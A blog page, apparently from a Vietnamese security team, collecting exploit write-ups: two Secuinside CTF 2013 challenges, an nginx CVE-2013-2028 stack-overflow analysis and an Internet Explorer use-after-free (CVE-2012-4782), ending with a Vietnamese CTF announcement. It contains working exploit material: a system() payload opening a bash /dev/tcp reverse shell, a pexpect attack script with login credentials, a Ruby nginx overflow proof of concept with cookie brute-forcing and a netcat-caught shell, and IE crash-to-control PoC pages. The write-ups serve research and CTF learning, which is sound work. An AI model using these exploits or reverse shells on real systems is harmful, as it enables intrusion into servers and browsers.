[Secuinside CTF 2013] pwnme writeup

May 28, 2013 by longld · 8 Comments 

Challenge summary:

Binary : http://war.secuinside.com/files/pwnme
Source : http://war.secuinside.com/files/pwnme.c
===================================
OS : Ubuntu 13.04 with PIE+ASLR+NX
md5 of libc-2.17.so : 45be45152ad28841ddabc5c875f8e6e4

IP : 54.214.248.68
PORT : 8181,8282,8383

This is the only exploit challenge comes with source. The bug is simple: buffer overflow with only 16-bytes at pwnme.c:67, just enough to control EIP. The goal is to bypass PIE+ASLR+NX. We first thought about information leak by overwriting one byte of saved EIP and looking for status. Unfortunately, this way soon becomes an dead end as socket was closed before returning at pwnme.c:72, so no more input, output can be provided to the program. Conclusion: we have to bruteforce for useful addresses, and due to binary is PIE bruteforcing for libc address the best way for code reuse. Luckily, ASLR on Ubuntu x86 is weak, the libc base address looks like 0xb7NNN000 with only 12-bits randomization. Server daemon will fork a child process for every coming connection, that means addresses will be the same for all instances and bruteforcing 12-bits only take 4096 tries at max. If server is fast, stable this can be done in few minutes, but in fact CTF game server was out of service for most of the time :).

Now we can assume that libc is at fixed address, let build the payload. But where is my input buffer? It was zeroing out at pwnme.c:71, there must be something hidden. Let take a look at crash by sending a 1040 bytes pattern buffer:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb774b000 --> 0x1aed9c
ECX: 0x0
EDX: 0xb774b000 --> 0x1aed9c
ESI: 0x0
EDI: 0x0
EBP: 0x41397441 ('At9A')
ESP: 0xbfac6ce0 --> 0x1
EIP: 0x75417375 ('usAu')
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x75417375
[------------------------------------stack-------------------------------------]
0000| 0xbfac6ce0 --> 0x1
0004| 0xbfac6ce4 --> 0xbfac6d74 --> 0xbfac78db ("./pwnme")
0008| 0xbfac6ce8 --> 0xbfac6d7c --> 0xbfac78e3 ("TERM=xterm")
0012| 0xbfac6cec --> 0xb777a000 --> 0x20f38
0016| 0xbfac6cf0 --> 0x20 (' ')
0020| 0xbfac6cf4 --> 0x0
0024| 0xbfac6cf8 --> 0xb77566f0 --> 0xb759c000 --> 0x464c457f
0028| 0xbfac6cfc --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x75417375 in ?? ()
gdb-peda$ patts
Registers contain pattern buffer:
EIP+0 found at offset: 1036
EBP+0 found at offset: 1032
No register points to pattern buffer
Pattern buffer found at:
0xb7753000 : offset 1016 - size   24 (mapped)
0xb7753023 : offset   27 - size  989 (mapped)
0xbfac6cd0 : offset 1024 - size   16 ($sp + -0x10 [-4 dwords])
References to pattern buffer found at:
0xb774ba24 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba28 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba2c : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba30 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba34 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba38 : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xb774ba3c : 0xb7753000 (/lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so)
0xbfac6210 : 0xb7753000 ($sp + -0xad0 [-692 dwords])
0xbfac6224 : 0xb7753000 ($sp + -0xabc [-687 dwords])
0xbfac6248 : 0xb7753000 ($sp + -0xa98 [-678 dwords])
0xbfac6254 : 0xb7753000 ($sp + -0xa8c [-675 dwords])
0xbfac6294 : 0xb7753000 ($sp + -0xa4c [-659 dwords])
0xbfac67c8 : 0xb7753000 ($sp + -0x518 [-326 dwords])
0xbfac67d4 : 0xb7753000 ($sp + -0x50c [-323 dwords])
0xbfac6814 : 0xb7753000 ($sp + -0x4cc [-307 dwords])
gdb-peda$

Our input buffer is still there in non-stack memory starts at 0xb7753000, actually this is “stdout” buffer used in printf() at pwnme.c:70.

gdb-peda$ info symbol 0xb7753000
No symbol matches 0xb7753000.
gdb-peda$ info symbol 0xb774ba24
_IO_2_1_stdout_ + 4 in section .data of /lib/i386-linux-gnu/tls/i686/nosegneg/libc.so.6

We can only assume that libc is fixed, if above buffer address is randomized things will become worse (means finding tedious ROP gadgets to pivot). Fortunately, that buffer is at fixed offset related to libc address.

gdb-peda$ vmmap libc
Start      End        Perm    Name
0xb759c000 0xb7749000 r-xp    /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
0xb7749000 0xb774b000 r--p    /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
0xb774b000 0xb774c000 rw-p    /lib/i386-linux-gnu/tls/i686/nosegneg/libc-2.17.so
gdb-peda$ distance 0xb759c000 0xb7753000
From 0xb759c000 to 0xb7753000: 1798144 bytes, 449536 dwords

Try to run the program several times to check and the offset is unchanged. We can build the payload now, the simplest one is calling system() with bash reverse shell, or you can try harder with full ROP payload (like what we did during the contest and wasted few more hours :)).

Sample payload will look like:

base = 0xb7500000 + bruteforce_value
target = base + 1798144 + 0x304 # make enough space for fake stack
cmd_ptr = target + some_offset # calculate it yourself
cmd = "bash -c 'exec >/dev/tcp/127.127.127.127/4444 0<&1';"
payload = [ret ... ret, system, exit, cmd_ptr, cmd, padding] # total size = 1032
payload += [target] # will become EBP
payload += [leave_ret] # stack pivoting

Run it hundred of times and wait for a shell coming to your box.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

[Secuinside CTF 2013]Trace Him Writeup

May 27, 2013 by suto · 2 Comments 

Description:

IP : 59.9.131.155
port : 18562 (SSH)
account :  control  / control porsche
binary : http://war.secuinside.com/files/firmware
data : http://war.secuinside.com/files/car.bin
(To prevent meaningless waste of time on certain analysis, car.bin is open to public.)
hint :
root@ubuntu:~# uname -a
Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:19:42 UTC 2013 i686 i686 i686 GNU/Linux
The evil group is running away by a car who stole personal information of BHBank.
The car has feature that you could do like “remote desktop.”
You can find a vulnerability and stop the car. Get the evil!

IP : 59.9.131.155

port : 18562 (SSH)

account :  control  / control porsche

binary : http://war.secuinside.com/files/firmware

data : http://war.secuinside.com/files/car.bin

(To prevent meaningless waste of time on certain analysis, car.bin is open to public.)

hint :

root@ubuntu:~# uname -a

Linux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:19:42 UTC 2013 i686 i686 i686 GNU/Linux

The evil group is running away by a car who stole personal information of BHBank.

The car has feature that you could do like “remote desktop.”

You can find a vulnerability and stop the car. Get the evil!

When login to with ssh credential provided, we’ll get a car’s control interface look like:

Using arrow keys to mov “O” around. Now look at the binary we can know how to control this car.
Go to sub_804B01C function we can see a simple switch/case looks like:

 switch ( recvChr )
    {
    case '1':
     ..........
    case '2':
     .........
    case 'A':
     .......
    case 'B':
     .......
    case 'D':
     .......
    case 'C':
     .......
    case ' ':
     .......
    default:
}

Using these keys we can playing with feature that interface provided. When navigate the “O” to the “@” position,press [SPACE] , it will provide 3 options look like:

Let go to the binary and find out how it implemented. Take a look at function sub_0804902B:

  obj_1 = (obj_1 *)malloc(52u);
  memset(obj_1, 0, 0x34u);
  obj_1->indi = '+';
  obj_1->flag_1 = 12;
  obj_1->flag_2 = 5;
  obj_1->flag_3 = 8;
  obj_1->handle = (int)f_handle;
  obj_1->window = (int)&obj_1->case1;
  obj_1->case1 = (int)case1_1;
  obj_1->case2 = (int)case1_2;
  obj_1->case3 = (int)case1_3;
  obj_1->str1 = (int)&nLockDoor;
  obj_1->str2 = (int)&unLockDoor;
  obj_1->str3 = (int)&Detach;
  obj_1->str4 = (int)&off_804D094;

Here I have created a struct for that obj, we can clearly see it creates 5 obj which is corresponding to  5 positions with “@”. When navigating the “O” to a position with “@” and press [SPACE] it will be proceeded in switch/case we have seen above:

     case ' ':
        if ( curPos == '@' )
        {
          mvwprintw(v15, 8, 5, "%x %x %x %x", v4, v5);
          wrefresh(v15);
          if ( var_window )
            v4 = var_window->_cury;</code>
          else
            v4 = -1;
          if ( var_window )
            v5 = var_window->_curx;
          else
            v5 = -1;
          do_f_((int)var_window, v15, v9, v4, v5);
          v12 = 1;
        }
        break;

Take a look at function do_f_:

 if ( a3 == '@' )
  {
    for ( i = 0; i <= 5; ++i )
    {
      v8 = *(&gObject_array + i);
      if ( cury - 1 == (char)v8->flag_1 && (char)v8->flag_2 == curx )
      {
        indi = (char)v8->indi;
        break;
      }
    }

First the code will loop through 5 objects and check if the object->flag1 and object->flag2 are correct, if matched it will set current object to that address. Something weird here can be abused: if there is memory with correct flag1 and flag2, the code will blindly accept it as an valid object.
Next part of code is calling the handle function in object with specific parameters:

 switch ( indi )
    {
      case '+':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case ',':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case '-':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case '.':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))->handle)(
                   (*(&gObject_array + i))->window,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      case '/':
        result = ((int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD))(*(&gObject_array + i))[2].flag_3)(
                   (*(&gObject_array + i))[1].indi,
                   *(&gObject_array + i),
                   a1,
                   a2);
        break;
      default:
        return result;
    }

So now the time to go to handle function and see what happen there:

   v8 = *(void (__cdecl **)(_DWORD, _DWORD))a2[13];
  v9 = *(void (__cdecl **)(_DWORD, _DWORD))(a2[13] + 4);
  v10 = *(void (__cdecl **)(_DWORD, _DWORD))(a2[13] + 8);
_ch = (char)wgetch(a4);
  switch ( _ch )
  {
    case '2':
      v9(a3, a4);
      break;
    case '3':
      v10(a3, a4);
      break;
    case '1':
      v8(a3, a4);
      break;
    default:
      mvwprintw(a4, 12, 1, "Wrong");
      wrefresh(a4);
      break;
  }

v8,v9,v10 is function pointer case1,case2,case3 to handle user’s choice. Take a quick look at all functions that handle user’s choice, I found the interesting one is all “Detach” functions share the same code that frees the object but not clear the pointer in object_array.
And another bug introduced in binary was out of bounds read/write. I will let u find that one, it makes me confuse a little bit about attack vector and finally I do something like:

1. Free an object to get a “dangling pointer” in object_array (make sure it is not the last one in object_array).
2. Reallocate that pointer with string we can control the content (so we can fool program with fake indi( “+”,”.”,”,”,”/” ) and fake flag1,flag2.
3. Trigger the handle function, when it loops through the object_array it will think our fake object is correct object, then calls the handle function of that object via offset
4. 41414141 ( Kab00m)

To visualize the exploit steps, here is the object_array during exploitation:
0×804d380:
[Door Object Pointer][Rapair Object Pointer][Front Missle Object Pointer][Rare Object Pointer][Rear Object Pointer]

*First we Detach Front Missle Object Pointer so it will become:
0×804d380:
[Door Object Pointer][Rapair Object Pointer][Pointer to Freed memory size 0x34][Rare Missle Object Pointer][Rear Object Pointer]

*Reallocate that memory with Repair Object Comment so it will look like:
[Door Object Pointer][Rapair Object Pointer][Pointer to Content ( AAAAAAAAAAA) ][Rare Missle Object Pointer][Rear Object Pointer]

Of course in exploitation we will replace “AAAA…” with string looks like a correct Rare Object.

*Call Rare Missle Object handle function

Finally, exploit code :

from pexpect import spawn
import time

child = spawn('ssh -p 18562 control@59.9.131.155')
child.expect('password')

child.sendline('control porsche')
#child = spawn("./por")

KEY_UP = '\x1b[A'
KEY_DOWN = '\x1b[B'
KEY_RIGHT = '\x1b[C'
KEY_LEFT = '\x1b[D'

child.expect('Console')

child.send(KEY_RIGHT * 9)
child.send(KEY_DOWN * 2)
child.send(" 3")

child.send(KEY_DOWN)
child.send(KEY_LEFT * 6)
child.send(" 1")
child.sendline("\x2d\x41\x41\x41" +"\x06\x01\x01\x01" + "\x06\x01\x01\x01" + 'AAAA\x6b\x85\x04\x08'+"C"*28+"\x40\x89\x04\x08")

child.send(" ")

child.sendline("echo 'cat /home/admin/StopTheCar'|./PrivilegeEscalation")

child.interact()

Actually, after getting the shell, I got a mini heart attack from organizer since the ReadMe file tells this is 2-steps challenge, it needs another local exploit. My team mate @w00d helped me to retrieve the PrivilegeEscalation binary, and it only does one thing:

int __cdecl sub_804844C()
{
  setreuid(0x3E8u, 0x3E8u);
  return system("/bin/bash");
}

It really a nice challenge to work with, thanks organizer for awesome binaries, thank all you guys from CLGT CTF team :)
See u in next CTF.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028)

May 21, 2013 by w00d · 1 Comment 

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we still explored several program paths and found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

The Bug

Based on the patch on nginx.org, there is a code path that leads to a stack based overflow vulnerability, related to 03 different nginx components:

1) The calculation of “chunked size” when someone send a http request with the header: “Transfer-Encoding: chunked”. It is calculated at src/http/ngx_http_parse.c:2011

if (ch >= '0' && ch <= '9') {   ctx->size = ctx->size * 16 + (ch - '0');
  break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {   ctx->size = ctx->size * 16 + (c - 'a' + 10);
  break;
}

It simply parses the chunked size input as hex and convert it to base of 10. And since ctx->size is defined with size_t, an unsigned type, the value of the variable can be misinterpreted as negative number when casting to signed type, as we will see later.

2) Nginx module when serving static file:

When nginx is setup to serve static file (which is the default setting), ngx_http_static_handler in src/http/modules/ngx_http_static_module.c:49 will be executed when receiving a request.

ngx_http_static_handler will then call ngx_http_discard_request_body at src/http/modules/ngx_http_static_module.c:211.

ngx_http_discard_request_body will then call ngx_http_read_discarded_request_body at src/http/ngx_http_request_body.c:526.

In summary the code path: ngx_http_static_handler->ngx_http_discard_request_body->ngx_http_read_discarded_request_body

ngx_http_read_discarded_request_body is where it gets interesting, we can see a buffer with fixed size is defined at src/http/ngx_http_request_body.c:630 as follows:

static ngx_int_t
ngx_http_read_discarded_request_body(ngx_http_request_t *r)
{
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];

NGX_HTTP_DISCARD_BUFFER_SIZE is defined as 4096 in src/http/ngx_http_request.h:19

The interesting is at how this buffer is filled at src/http/ngx_http_request_body.c:649 that we shall use later in (3)

size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
n = r->connection->recv(r->connection, buffer, size);

3) The state transition when parsing http request

Come back to src/http/ngx_http_request_body.c, before calling ngx_http_read_discarded_request_body, nginx check whether we have a “chunked” type of request, it will then run ngx_http_discard_request_body_filter defined in src/http/ngx_http_request_body.c:680.

ngx_http_discard_request_body_filter will execute ngx_http_parse_chunked which is the code we mentioned in (1). After that, the return value in “rc” is checked with some constant to decide the next move. One of them is particularly very interesting.

if (rc == NGX_AGAIN) {
     /* set amount of data we want to see next time */
     r->headers_in.content_length_n = rb->chunked->length;
     break;
}

Suppose we can set rb->chunked->length as a very large number at (1), and then set rc = NGX_AGAIN at (3), following events will happen:

- r->headers_in.content_length_n is set to negative ( as it is defined with `off_t` which is “a signed integer” type.).

- The function ngx_http_discard_request_body_filter return and the program move to execute ngx_http_read_discarded_request_body. which contains our vulnerable buffer.

- Finally the recv() command is tricked to receive more than 4096 bytes and overflow the buffer on the stack.

There are many ways to set chunked->length, since rb->chunked->length is assigned at the end of ngx_http_parse_chunked function based on the rb->chunked->size that we have a direct control.

switch (state) {
case sw_chunk_start:
	ctx->length = 3 /* "0" LF LF */;
break;
	case sw_chunk_size:
ctx->length = 2 /* LF LF */
              + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

To make rc = NGX_AGAIN, we realize that for a request nginx makes the first recv with 1024 bytes, so if we send more than 1024 bytes ngx_http_parse_chunked will return with a NGX_AGAIN then when nginx tries to recv again it will be right into our setup.

The payload to overflow the stack buffer is as follows:

- Send http request with a “transfer-encoding: chunked”

- Send a large hexadecimal number to fill the entire 1024 bytes of the first read

- Send > 4096 bytes to overflow the buffer when it try to recv the second times

TL;DR ? Here is the proof of concept for x64

require 'ronin'
tcp_connect(ARGV[0],ARGV[1].to_i) { |s|
    payload = ["GET / HTTP/1.1\r\n",
            "Host: 1337.vnsecurity.net\r\n",
            "Accept: */*\r\n",
            "Transfer-Encoding: chunked\r\n\r\n"].join
    payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked
    payload << "A"*(4096+8) #padding
    payload << "C"*8 #cookie
    s.send(payload, 0)
}

strace output at the other end:

 strace -p 11337 -s 5000 2>&1 | grep recv
recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024
recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112

Exploitation on x64:

The problem of stack cookie/carnary can be overcome easily by brute-forcing byte by byte. If we send an extra byte and a worker process crashes, it will return nothing thus we know our cookie value is wrong, we try another value until we receive some output.

Then we need to bypass ASLR and DEP. The exploitation for 32-bit in the metasploit module won’t work, since it will bruteforce the libc address and it’s not feasible given the large address space in x64.

We give an exploit that only relies on the binary i.e. we build the ROP gadget from the binary. mprotect address is computed from mmap64 address (in the GOT-table) then use to allocate a writable-executable memory chunked. Then we use some ROP gadgets to copy our shellcode and have it executed by return to it finally.

TL;DR full exploit code could be find here

ruby exp-nginx.rb 1.2.3.4 4321
[+] searching for byte: 1
214
[+] searching for byte: 2
102
[+] searching for byte: 3
232
[+] searching for byte: 4
213
[+] searching for byte: 5
103
[+] searching for byte: 6
151
[+] searching for byte: 7
45
Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8
PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000
1120 connections

At w.w.w.w

nc -lvvv 4000
Connection from 1.2.3.4 port 4000 [tcp/*] accepted
uname -a
Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin)
ps aux | grep nginx
ubuntu    2920  0.1  0.0  13920   668 ?        Ss   15:11   0:01 nginx: master process ./sbin/nginx
ubuntu    5037  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5039  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5041  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process

Reliable exploitation

There are some reasons that the above exploitation/technique may not work in practice:

1) Nginx uses non-blocking recv(). If we can’t send enough data to overwrite the return address/cookie the exploit will fail. This is mostly the case since the normal server will be loaded with requests from different user.

2) Our analysis here is for the default setting of nginx, the code path can be very different with another setting thus making the exploit somewhat useless.

3) A blind attack is difficult without the knowledge of the binary / OS at the remote server. For 32-bit OS, one may further bruteforce the “write” address in the code space in order to leak information but It will still be unreliable due to the unknown sockfd and will fail for PIE.

Trying to make this more practical in real world environments, we actually found another attack vector which is more reliable and worked on several nginx settings. However, we will keep it for another post.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

CMarkup Use After Free Vulnerability – CVE-2012-4782

January 10, 2013 by suto · 14 Comments 

Latest M$ tuesday patch kill one of my 0day in Microsoft Internet Explorer 9/10. So I decided release Proof Of Concept code and writeup some analyze about this bug. Hope it helpful.

Here is the PoC:

<!doctype html>
<html>
        <head>
                <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
               <script>
                       function testcase(){
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement('table'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                            document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
                                document.getElementsByTagName('track').item(0).offsetWidth;

                                document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
                                document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

                </script>
        </head>
        <body onload='testcase();'>

        </body>
</html>

After running this html we’ve got a nice crash:
(fcc.354): Access violation - code c0000005 (!!! second chance !!!)
eax=0b7befc0 ebx=088cd6b8 ecx=0b6b2fa8 edx=00000006 esi=0b6b2fa8 edi=00000000
eip=639927e9 esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h] ds:0023:0b6b2fe8=0000
0:017> u
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h]
639927ed 6685c0 test ax,ax

Now using my binary instrumentation framework (a PIN based instrumentation which could do things like: crash analyze, taint tracing, code coverage..), I could get the following output


Exception Point: 639927e9 0fb74640 movzx eax,word ptr [esi+40h]
Current Register:
eax:0b7befc0
esi:0b6b2fa8
Backtrace analyze:
[+]639927e7 -> esi: 0b6b2fa8 | ecx: 0b6b2fa8
[+]639927e5 -> ecx: 0b6b2fa8
[+]636c1d2d -> ecx:0b6b2fa8
[+]639ae295 -> esi: 0b6b2fa8
===================
Detect Freed Address: 0b6b2fa8 at EIP 639AE299
With param: HeapFree(150000,23,0b6b2fa8)

So it is a pretty nice Used After Free vulnerability. But what is freed?

Run the tool again, this time to collect information about Heap Allocate, I can see:

.....
Detect Heap Allocate : 638f13dc
With Param: HeapAlloc(150000, 8u, 0x54)
Return value: 0b6b2fa8

And it occur in function:
CMarkup::InsertElementInternal
So now we can use a little trick to manipulate freed address:

<!doctype html>
<html>
	<head>
		<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />

		<script>

                function testcase(){

				var img = new Array();
				  for(var i = 0;i < 100;i++){
				  	img[i] = document.createElement('img');
				  	img[i]["src"] = "a";
				  }
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement('table'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
			    document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
				document.getElementsByTagName('track').item(0).offsetWidth;

				document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
				document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

				window.scroll(500);

				for(var j = 0;j < 99;j++){
				 	img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}

				 }

		</script>
	</head>
	<body onload='testcase();'>

	</body>
</html>

And we’ve got:

(c10.d88): Access violation - code c0000005 (!!! second chance !!!)
eax=00000041 ebx=088cd6b8 ecx=00410041 edx=ff000000 esi=0c53efa8 edi=00000000
eip=639927ff esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CTreeNode::GetFancyFormat+0x1e:
639927ff 8b4a2c mov ecx,dword ptr [edx+2Ch] ds:0023:ff00002c=????????
0:017> dd esi
0c53efa8 00410041 00410041 00410041 00410041
0c53efb8 00410041 00410041 00410041 00410041
0c53efc8 00410041 00410041 00410041 00410041
0c53efd8 00410041 00410041 00410041 00410041
0c53efe8 00410041 00410041 00410041 00410041
0c53eff8 00410041 d0d00000 ???????? ????????
0c53f008 ???????? ???????? ???????? ????????
0c53f018 ???????? ???????? ???????? ????????
0:017> dd 410041
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c
0:017> u

Why it crashing here:

.text:639927E9 movzx eax, word ptr [esi+40h]
.text:639927ED test ax, ax
.text:639927F0 js loc_63842DAE
.text:639927F6 mov ecx, [esi+50h]
.text:639927F9 mov edx, [ecx+80h]
.text:639927FF mov ecx, [edx+2Ch]

Since we can control esi, we can force program to jump 63842DAE by changing some bytes in img.src:

..
img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}
....


(614.fd4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00410041 edx=b341be78 esi=088ccc00 edi=0c540fa8
eip=6383a61a esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0xa1:
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h] ds:0023:b341bf3c=????????
0:017> dd edi
0c540fa8 00410041 00410041 00410041 00410041
0c540fb8 00410041 00410041 00410041 00410041
0c540fc8 00410041 00410041 00410041 00410041
0c540fd8 00410041 00410041 00410041 00410041
0c540fe8 41418141 00410041 00410041 00410041
0c540ff8 00410041 d0d00000 ???????? ????????
0c541008 ???????? ???????? ???????? ????????
0c541018 ???????? ???????? ???????? ????????
0:017> dd ecx
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c

And we change edi:

img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAA\u5555\u5555AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}

And Boom:

eax=00000000 ebx=00000000 ecx=55555555 edx=640386e0 esi=088ccc00 edi=0c678fa8
eip=6383a618 esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx] ds:0023:55555555=????????
0:017> u
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx]
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h]
6383a620 ffd0 call eax
6383a622 8b400c mov eax,dword ptr [eax+0Ch]
6383a625 57 push edi
6383a626 893e mov dword ptr [esi],edi
6383a628 894604 mov dword ptr [esi+4],eax
6383a62b 8b0f mov ecx,dword ptr [edi]

Good luck pwner :p

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Snatching The H@t

November 25, 2012 by admin · Leave a Comment 

Snacthing the H@t

Nhận lời mời từ IDG, VNSecurity đồng ý đứng ra phối hợp tổ chức cuộc thi “Snatching the h@t” như một sự kiện trong khuôn khổ hội thảo CSO Asean năm 2012 với mong muốn giới thiệu và phát triển CTF như một hình thức học tập và thể hiện khả năng lành mạnh đến cộng đồng. VNSecurity là nhóm được biết đến rộng rãi trong giới nghiên cứu an toàn thông tin thực thụ tại Việt nam và thế giới. Các thành viên chủ chốt của nhóm là những chuyên gia uy tín về an ninh thông tin trong và ngoài nước, các kết quả nghiên cứu của họ thường được vinh danh và công bố tại nhiều cuộc hội thảo uy tín trên thế giới: Blackhat, Hitb, Pacsec, Deepsec, Syscan … Đội thi đấu CLGT của VNSecurity cũng nằm trong top những đội CTF hàng đầu trên thế giới

Về cuộc thi Snatching the h@t

